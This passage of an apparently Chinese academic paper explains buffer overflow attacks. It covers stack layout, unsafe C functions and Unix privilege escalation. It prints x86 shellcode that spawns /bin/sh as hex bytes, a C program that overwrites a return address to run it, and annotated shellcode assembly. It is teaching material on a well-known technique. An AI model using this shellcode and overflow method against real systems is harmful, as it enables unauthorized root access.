摘 要随着Internet及相关信息技术的迅速
发展,网上的
电子商务呈现出极大的增长势头,但是投入的增多意味着风险也随之而来,
网络安全
问题成为各种网上活动需要考虑的头等大事。本文重点探讨一下缓冲区溢出对
计算机系统造成的危害。因为几十年来,缓冲区溢出一直引起许多严重的安全性
问题。近年由CERT/CC(Computer Emergency Response Term/Coodination Center)发布的忠告中关于缓冲区溢出漏洞占56.76%以上。本文首先解释了缓冲区溢出的概念,从程序语言本身存在缺陷,不够健壮的角度出发,对缓冲区溢出的原理进行了详细的阐述;再次,通过一个会导致缓冲区溢出的程序代码对缓冲区溢出攻击的产生进行了实例
分析,同时还对Unix操作系统下的缓冲区溢出攻击进行了有针对性的
分析,并
总结出缓冲区溢出攻击的类型;最后,结合缓冲区溢出攻击的类型,从系统管理和软件开发两个角度提出了缓冲区溢出攻击的防范策略。 关键字:缓冲区溢出 攻击
Abstract
With the development of Internet and information technology, the great growth has appeared out in E-Commerce. But this trend lead to more venture, network security issue has become the cardinal task that various kinds of online activity need to consider.
At present, the biggest problem on network is that computer software is usually not stalwart enough, sometimes such barrier will cause catastrophic result, especially when being utilized maliciously by the lawless person, the harm will hard to estimate.
Buffer overflow attacking is a seriously problem in network security and cause serious security problems in recently years. Some program language have pestilent bug, for example, C program language doesn’t check the border of the array of number is apt to cause the buffer overflow, and therefore possibly cause the failure of program processing and paralysis of computer.
This paper analysis deeply the principle and possible of buffer overflow attacking, and point out buffer overflow’s potential dangers. At last, according to the kinds of buffer overflow attacking, I put forward my own opinion of precautionary measures on buffer overflow attacking.
Key Words: buffer overflow attacking
一 缓冲区与出的概念及原理1.1何谓缓冲区溢出缓冲区是用户为程序运行时在
计算机中申请得的一段连续的内存,它保存了给定类型的数据。缓冲区溢出指的是一种常见且危害很大的系统攻击手段,通过向程序的缓冲区写入超出其长度的
内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他的指令,以达到攻击的目的。 1.2缓冲区溢出的原理从上面的缓冲区溢出概念可以看出,缓冲区溢出就是将一个超过缓冲区长度的字符串置入缓冲区的结果,这是由于程序设计语言的一些漏洞,如C/C++语言中,不对缓冲区、数组及指针进行边界检查,(strcpy()、strcat()、sprintf()、gets()等语句),在程序员也忽略对边界进行检查而向一个有限空间的缓冲区中置入过长的字符串可能会带来两种结果:一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;另一种后果是利用这种漏洞可以执行任意指令,甚至可以取得系统特权,由此而引发多种攻击
方法。缓冲区溢出对系统的安全性带来很大的威胁,比如向程序的有限空间的缓冲区中置入过长的字符串,造成缓冲区溢出,从而破坏程序的堆栈,使程序转去执行其他的指令,如果这些指令是放在有Root权限的内存里,那么一旦这些指令得到了运行,入侵者就以Root的权限控制了系统,这也是我们所说的U2R(User to Root Attacks)攻击。例如在Unix系统中,使用一些精心编写的程序,利用SUID程序(如FDFORMAT)中存在的缓冲区溢出错误就可以取得系统超级用户权限,在Unix取得超级用户权限就意味着黑客可以随意控制系统。为了避免这种利用程序设计语言漏洞而对系统的恶意攻击,我们必须要仔细分析缓冲区溢出攻击的产生及类型,从而做出相应的防范策略。二 缓冲区溢出攻击的
分析2.1缓冲区溢出攻击的产生C编程语言中,静态变量分配在数据段中,动态变量分配在堆栈段中,C语言允许程序员在运行时在内存的两个不同部分(堆栈和堆)中创建存储器。通常,分配到堆的数据是那些malloc()或新建时获得的数据,而分配到堆栈的数据一般包括非静态的局部变量和所有按值传递的参数。大部分其它信息存储在全局静态存储器中。一个程序在内存中通常分为程序段、数据段和堆栈三个部分。程序段里为程序的机器码和只读数据,这个段通常是只读代码,故禁止对程序段进行写操作。数据段放的是程序中的静态数据。存储器主要分为三个部分,一是文本区域,即程序区,用来存储程序指令,只读属性;二是数据区域,它的大小可以由brk()系统调用来改变;三是堆栈,其特点是LIFO(last in, first out)。当C程序调用函数的时候,首先将参数压入堆栈,然后保存指令寄存器(IP)中的
内容作为返回地址(RET),放入堆栈的是地址寄存器(FP),然后把当前的栈指针(SP)拷贝到FP,作为新的基地址,并为本地变量留出一定的空间,把SP减去适当的数值。
计算机执行一条指令,并保留指向下一条指令的指针(IP)。当函数或过程被调用的时候,在堆栈中被保留下来的指令指针将被作为返回地址(RET)。执行完成后,RET替换IP,程序接着继续执行本来的流程。这里有一个直观的缓冲区溢出的小例子:void function(char *str){char buffer[16];strcpy(buffer, str);}Void main(){int I;char buffer[128];for(I=0; I<127; I++)buffer[I]=A;buffer[127]=0;function(buffer);printf(“This is a test.\n”);}在函数function中,将一个128字节长度的字符串拷贝到只有16字节长的局部缓冲区中。在使用strcpy()函数前,没有进行缓冲区边界检查,导致从buffer开始的256个字节都将被*str的
内容A覆盖,包括堆栈指针和返回地址,甚至*str都将被A覆盖。再看看堆栈的结构,由于栈式内存分配具有一条指令即可为子程序分配全部局部变量的存储空间的特点,分配和去配的开销极低,高级语言通常在堆栈上分配局部存储空间。同时,堆栈也被用来存放子程序的返回地址。对C语言来说,调用函数的语句f(arg1,arg2,…,argn)被翻译为如下指令:push argn…….push arg1push ncall f而函数的入口则翻译为如下入口指令(在Intel X86上)pushl ebpmov esp,ebpsub esp,m #m为f的局部变量的空间大小在Intel X86体系结构上,堆栈是从上向下生长的,因此调用以上函数时的堆栈结构如图1所示:arg1……argnn返回地址ebp局部变量高地址 低地址
图1 堆栈结构图例如,调用以下函数时Void f(char *src){ char dest[4]; memcpy(dest, src,12);}堆栈及变量的位置如图2所示: srcl返回地址ebpdest[3]dest[2]dest[1]dest[0]高地址 低地址图2 堆栈及位置的变量图从堆栈结构可以看到,当用精心准备好的地址改写返回地址时,即可把控制流程引向自己的代码。C2级操作系统提供了进程空间的隔离机制,因此,利用缓冲区溢出攻击可以在别的进程上下文中执行自己的代码,从而绕过操作系统的安全机制,下面是一个例子:Void main(){ char *str[2]={”/bin/sh”,0}; exec (“/bin/sh”,str,0);}编译后反编译,并加以整理,得到与以上程序等价的机器码:“\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00”“\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80”“\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xdl\xff\xff”“\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3”事例程序如下:/ test /char shellcode[]={“\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00” “\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80”“\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xdl\xff\xff”“\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3”};void f(char *src){char dest[4];memcpy(dest,src,12);}void main(){int shellentry[3];shellentry[0]=(int)shellcode;shellentry[1]=(int)shellcode;shellentry[2]=(int)shellcode;f(shellentry);}由以上程序可以看出缓冲区溢出攻击的关键:因为memcpy并不检验边界,所以dest溢出时,使shellcode的地址覆盖了子程序的返回地址,当子程序执行ret指令时,CPU的指令指针寄存器EIP指向shellcode,从而执行shellcode。这里讨论一个现实中的Unix环境下,利用缓冲区溢出的到一个Shell的行攻击
方法的实现。其中,S代表Shellcode,A代表填写的返回地址,由于Shellcode在虚地址的高端,所以这个返回地址(32bit)一般不会含有零字节:(1) 启动一个一个Shell的代码——Shellcode的获得通常的获得
方法是先用高级语言编写同样功能的程序,然后用调试工具抽取必须的二进制代码。高级语言程序如下:shellcode.c#include<stdio.h>void main(){char *name[2];name[0]=”bin/sh”;name[1]=NULL;execve(name[0],name,NULL);exit(0);}把上述程序编译之后,可以用gdb得到上面程序的汇编代码及二进制代码,适当优化后即可得到二进制的Shellcode。这里要解决的一个
问题是,无论Shellcode被装置到内存的什么位置,字符串“/bin/sh”的地址都可以得到。解决方法是在“/bin/sh”之前加一条CALL指令,这样当CALL被执行时,“/bin/sh”的地址将被自动压入堆栈,紧接着用一条popl指令即可获得这个地址。Shellcode的结构如下:(J代表JMP指令,C代表CALL指令,S代表启动Shell的代码,s代表串“/bin/sh”,A指向Shellcode的起始地址)。SCO Unix下的Shellcode的汇编代码如下:Jmp 0x2a # 3 bytes # 跳到CALL指令处Popl %esi # 1 byte # 把由CALL指令压入堆栈的串 # 地址送到esimovl %esi, 0x8(%esi) # 3 bytesmovb $0x0, 0x7(%esi) # 4 bytesmovl $0x0, 0xc(%esi) # 7 bytesmovl $0xb, %eax # 5 bytesmovl %esi, %ebx # 2 bytes # 执行execve(name[0],name,NULL);leal 0x8(%esi) , %ecx # 3 bytesleal 0xc(%esi) , %edx # 3 bytesint $0x80 # 2 bytes